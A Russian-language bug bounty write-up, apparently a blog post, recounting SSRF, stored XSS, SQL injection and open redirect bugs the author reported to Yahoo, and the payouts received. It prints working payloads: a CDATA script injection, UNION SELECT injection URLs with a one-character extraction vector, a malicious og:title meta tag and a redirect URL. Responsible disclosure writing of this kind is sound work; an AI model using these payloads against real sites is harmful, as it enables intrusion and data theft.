В этой статье я хочу поделиться своим опытом участия в программе поощрения от Yahoo (и не только). Расскажу, какие уязвимости нашёл, на какие трудности напоролся и на сколько щедрым оказалось Yahoo. Жду вас под катом!
Я уже довольно давно интересуюсь вопросом информационной безопасности (где-то с 2007 года). Моё внутреннее решение, которого я стараюсь придерживаться — это моё хобби. Ибо превращать в рутину то, что приносит такой заряд адреналина не хочу. Но и хобби бывает разным. И чуть меньше года назад я решил выйти из подполья. Съездил на PHDIII. Занял там почётное четвёртое место в конкурсе «WAF Bypass». Моё личное мнение — занял я его только потому, что был четвёртым и последним человеком, который в этом конкурсе прислал хотя бы один ключ:). Принял участие в онлайн и оффлайн этапах Symantec Cyber Readiness Challenge, где к своему удивлению и удовольствию оказался в десятке лучших. В целом, и себя показал и на умных людей посмотрел. Но это всё удовлетворение 4 ступени пирамиды потребностей Маслоу. А я, как и любой живой человек, хочу есть. И подспудное желание, чтобы моё хобби не только приносило удовольствие, но и деньги, переросло в навязчивую идею.
Переломный момент произошёл после прочтения поста Сергея belove Избранное: ссылки по IT безопасности. Где я наткнулся на очевидную вещь, поискать которую сам почему-то не догадался — ссылка на список открытых программ Bug Bounty. Где, кроме очевидных программ от Yandex, Google, Facebook, было перечислено и много других. Прочитано — сделано.
Сначала я выбрал программу поощрения от Американских телефонов и таксофонов. Две бессонных недели, казалось мне, не прошли зря. Около 30 сообщений об ошибках, среди которых: SQLi на сервисах разной критичности, смена пароля любому пользователю и многое другое. Но через две недели полуавтоматических ответов «Мы вас услышали. С вами свяжутся в ближайшее время», я задумался, а «ближайшее время» это сколько? Побродил по форумам и вырисовалась нелицеприятная ситуация. Отвечают долго, ооооочень долго. При обозначенной верхней планке в 5000 долларов, платят сущие копейки. И в целом у сообщества весьма негативное мнение об этой программе поощрения. Именно в этот момент у меня сгорел ноутбук с текущими наработками, которые я не бэкапил. Я воспринял это как знак судьбы и принял волевое решение: «Я слишком много не спал, чтобы продолжать слать отчёты, не видя обратной связи.» В текущий момент ситуация уже не настолько плохая — они подтвердили 9 уязвимостей. Правда выборка совершенно не очевидна — разброс по датам, разброс по уровню критичности. И, самое главное, теперь меня ждёт лотерея — деньги заплатят лишь десяти лучшим за квартал. Остальным просто скажут спасибо. Больше на данный момент сказать не могу, потому что совершенно не ясен статус даже тех ошибок, которые подтвердили.
Но вернёмся обратно — на дворе как раз была середина ноября. И я искал новую жертву. Мой интерес к участию в подобных программах был подогрет ответом от Telekom.de, где они поблагодарили меня за сообщение об уязвимости. И, не смотря на то, что моё сообщение было повторным, они очень хотят выслать мне 50 евро за старания и ждут от меня реквизитов.
И тут я наткнулся на шквал твитов, постов и лайков с общим заголовком «Yahoo перестанет слать футболки на деньги директора департамента безопасности и официально открывает свою программу поощрения». Быстро нашёл ссылку на программу поощрения, которая открылась с 1 ноября 2013 года. С 1 февраля 2014 года они скооперировались с HackerOne и теперь слать надо вот сюда. Я надеялся, что крупный поисковик с одной стороны не будет морозиться по полгода и с другой стороны на самом старте можно снять сливки. Сразу скажу — мои ожидания оправдались. Теперь по порядку.
Первые несколько дней я провёл в научном методе тыка. Есть у меня собственные эмпирические методики — что поискать, куда посмотреть. Да и просто надо было оглядеться.
Часть первая. XSS на tw.m.yahoo.com.
На четвёртый день моего шатания я наткнулся на первый урл (http://tw.m.yahoo.com/w/twstock/news_content.php?url=http://tw.stock.yahoo.com/w/news_content/url/d/a/140210/2/49cvs.html&.ts=1384478129&.intl=tw&.lang=zh-hant-tw). Первичные тесты показали, что я иду в верном направление. Естественно я обратил внимание на параметр url.
— «Может быть Iframe?» — подумал я.
Но нет, это был самый что ни на есть server-side request. Как он работает:
1. Скрипт берёт параметр url
2. Запрашивает его, в реальности это json-контейнер (http://tw.stock.yahoo.com/w/news_content/url/d/a/140210/2/49cvs.html)
3. Делает из всего этого страницу.
Сразу пришла идея подменить урл. И сделать запрос не только на другой домен, но и на другой порт:
http://tw.m.yahoo.com/w/twstock/news_content.php?url=http://example.com:6666/nonexist
На стороне сервера получаем:
nc -lvv 6666
Connection from 202.43.194.189 port 6666 [tcp/ircu-2] accepted
GET /nonexist HTTP/1.1
Host: example.com:6666
Accept: */*
По хеадерам очень похоже на CURL (как потом станет ясно — с выключенным CURLOPT_FOLLOWLOCATION). После этого я проверил разрешённые протоколы:
— работают: http, https;
— не работают: ftp, gopher, tftp, ldap, dict, ssh2, file, telnet, smtp, mailto, pop3, imap;
— редирект через Location не работает.
В итоге получился очень ограниченный в использование SSRF.
Дальше разумным ходом было сохранить исходный файл у себя и запросить его:
http://tw.m.yahoo.com/w/twstock/news_content.php?url=http://example.com:5555/content_spoofed.html
Вуаля. Имеем подмену контента. Но если у нас есть подмена контента, то грех было бы не попытаться добиться XSS. Я стал экспериментировать с параметрами, но… они хорошо валидировались. Первым звоночком была замена параметра cobrand_url на:
javascript:alert('xss')
Всё сработало, но ожидать от пользователя клика — это не самый лучший вариант. Хотя в отчёте я предложил использовать в качестве изображения обнажённую девушку, ну или грустного котика.
Я стал тестировать параметры дальше и сделав вот такую замену:
"category":"N10""
(эскэйпированный знак двойной кавычки). Я получил весьма неожиданный error stack trace (к сожалению не сохранил его). Суть в том, что там говорилось, что какой-то Blueprint не может нормально обработать и вывести то, что ему подсунули. Что это такое? Первый раз вижу. Идём в гугл и находим что есть волшебный модификатор "w-raw":
http://tw.m.yahoo.com/w-raw/twstock/news_content.php?url=http://tw.stock.yahoo.com/w/news_content/url/d/a/140210/2/49cvs.html
Который показывает исходный код темплейта (ну как я это понял) перед выводом. Стало видно, что и как сыпется при попытке сбора данных перед выводом. И кроме этого стало понятно, что я могу менять саму структуру исходника добавляя его разметку. Потом я ещё немного погуглил, ещё немного посмотрел исходники разных страниц через w-raw и ещё погуглил… И нашёл вот какую забавную конструкцию в исходниках Blueprint:
<custom-ad mediatype="text/html"><![
CDATA[<img src='https://csc.beap.bc…… />
]]></custom-ad>
При этом на страницу содержимое CDATA выводилось без изменения. Похоже, это то, что нужно.
Методом проб и ошибок я нашёл правильный payload:
"legal_name":"legal_name</block><module><custom-ad mediatype="text/html"><![CDATA[<img src='asdfasdf' onerror="alert('xss')"><script>alert('xss2')</script>]]></custom-ad></module><block>"
Сработали оба вектора и <img onerror>
, и, собственно, <script>
.
Ну и самое главное, что это по сути дела эквивалент хранимого XSS.
Часть вторая. SQLi на *.sports.yahoo.com.
Страсти накалялись. И тут я напал на урл
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
Этот скрипт выводит картинку сравнение результатов гонщиков. Перебрав параметры, обнаружил что параметр race уязвим. Но попытка вытащить данные, чтобы подтвердить уязвимость, не увенчалась успехом. В результате выяснилось, что фильтруются символы "<" и ">". Выход простой — использовать BETWEEN вместо обычного равенства. Union select не сработал. Но интересный момент нашёлся — пользователь был username@% — без ограничения по IP. По своему личному опыту я уже давно вывел эмпирическое правило — если нашлась одна уязвимость, надо копать, найдётся ещё. Тут-то мне, как гусару, карта и пошла. Проще, по-моему, сказать, где в этом субдомене не было SQLi-уязвимости, чем где она была. Уязвимы были сезоны:
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
Года:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
Категории:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
Недели:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
И другие параметры (stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
В итоге я получил:
— Union select — где-то однострочный, где-то многострочный.
— Доступ к таблице пользователей с хэшами паролей, часть из них была с доступом USERNAME@%
— Исследовав переменную @@hostname стало понятно, что используется пул из 40+ серверов. Причём половина из них доступна из вне и открыт порт MySQL. По моим тестам соединение к нему не было закрыты файерволом. А как я сказал ранее настройки прав пользователя БД были таковы, что давали доступ к таблице пользователей с хэшами. И при наличии пользователей с доступом отовсюду это очень не хорошо. Хотя хэши я реверсить не стал.
— В части скриптов, где параметр выглядел как year=postseason_2013 не удавалось получить доступ к information_schema, потому что параметр бился по символу подчёркивания. Но в других урлах это удалось, правда для этого пришлось использовать hex, без этого почему-то не выводилось.
Одна уязвимость была весьма забавной:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
В ней срабатывал UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
При подстановке строковых параметров ничего не получалось. И на первый взгляд — он не давал никакой вывод, но покрутив урл и параметры стало понятно, что из этих трёх цифр собирается процент. И, правильно их используя, можно из слепой уязвимости и бесполезного UNION получить уязвимость «один запрос — один символ». Вектор следующий:
union select 1, ord(substr(user(),1,1))/100,1
Что даёт в итоге код первого символа пользователя базы данных.
В этот момент я получил письмо:
И больше на этом домене SQL уязвимостей я не нашёл. Оперативно всё прикрыли.
Часть третья. Open redirect на m.yahoo.com.
Бродя по домену m.yahoo.com, сам не знаю что сделал (в отчёте вынужден был так и написать: dark side of reproduce this bug), но после очередного обновления страницы получил форму вида:
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
- [radiobutton] Move the existing settings to my Yahoo ID
- [radiobutton] Ignore the existing settings
- [radiobutton] Not sure, show me a preview
На всякий случай выбрал «Not sure». И получил POST-запрос на урл:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Посмотрел в лог Firebug'а и скопировал этот запрос в GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
Всё сработало — что само по себе уже странно. Но встречается это довольно часто, когда, обрабатывая POST-запрос, вместо глобальной переменной $_POST используют глобальную переменную $_REQUEST. Я ожидал найти XSS, но выставив параметр done, который повсеместно используется для задания страницы возврата, и «испортив» параметр ycb я получил неконтролируемый редирект:
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED
Пытливый читатель, добравшись до этого места, получает ответ на молчаливый вопрос: «Что за заголовок такой?!». Именно за эту уязвимость Yahoo заплатил 394 доллара.
Часть четвёртая. SQLi на hk.promotion.yahoo.net.
Тут ситуация была такая. Сначала я нашёл уязвимость, а только потом понял, что формально поддомен yahoo.net не входит программу. Но раз уж нашёл, то послал. В результате — не зря. Заплатили и за эту уязвимость.
Часть пятая, пока что последняя. XSS на info.yahoo.com.
Очередной урл попал под препарирование (работает только для авторизованного пользователя).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390
Суть урла — отправить другу письмо со ссылкой на страницу, которая понравилась. Но страница зачем-то подгружалась сервером и выводилась её часть.
Скрипт позволял обратиться на любой домен и любой порт. Работали только протоколы http и https. Изучив исходную страницу, которая подгружалась, и вывод, стало понятно, что используются meta-тэги og:title и og:description. Скачав страницу к себе на сервер и поменяв meta-тэг на:
<meta property="og:title" content="og <img src=asdf onerror='alert("xss")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
Получил работающий XSS. Опять же по сути своей хранимый. В том смысле что защиты от отражённых XSS, как в Chrome, от него не спасут.
Заключение.
Я рассказал лишь о части уязвимостей, которые отправил в Yahoo. Остальные ещё не закрыты или в процессе финального рассмотрения. Есть там весьма интересные и нетривиальные. О них я с удовольствием расскажу, как только их закроют.
Из неприятного.
Запиленная уязвимость на домене finance.yahoo.com. Там был тёплый, ламповый UNION SELECT SQLi c файловыми привилегиями. Выглядело это примерно так:
21.11 — сообщение о уязвимости
25.11 — уязвимость исправлена
27.11 — ответ: «Не можем воспроизвести, пришлите дополнительную информацию»
27.11 — отправил скриншот и кое-какую дополнительную информацию.
2.12 — ответ: «Видимо о данной уязвимости было известно и её исправили раньше, чем мы смогли её подтвердить.»
«WTF?!!!» — подумал я. И не стал ругаться.
10.12 — получил ещё одно письмо с более внятным пояснением. Проверить его, естественно, никак, остаётся только верить на слово: «Возможно, что команда разработчиков уже знала об этой уязвимости и работала над её исправлением ИЛИ другой исследователь сообщил похожую уязвимость. Часто работа над исправлением одной уязвимости может привести к исправлению других подобных уязвимостей.»
И буквально в процессе подготовки статьи пришло ещё одно письмо, где Yahoo отклонил XSS и SQLi уязвимости с формулировкой «или эти уязвимости не удовлетворяют правилам или это дубикаты»:
Очень странно, по обоим уязвимостям приходило подтверждение, а по одной из них так вообще была довольно плотная переписка.Что ж, не приятно, но нельзя везде быть первым.
В итоге, все уязвимости, описанные в этом посте, и те, что я ещё не описал, позволили мне оказаться в ТОП-10 декабря и января в Yahoo — Wall of Fame.
Ну и напоследок — пруф или не было: hackerone.com/4lemon.
Автор: 4lemon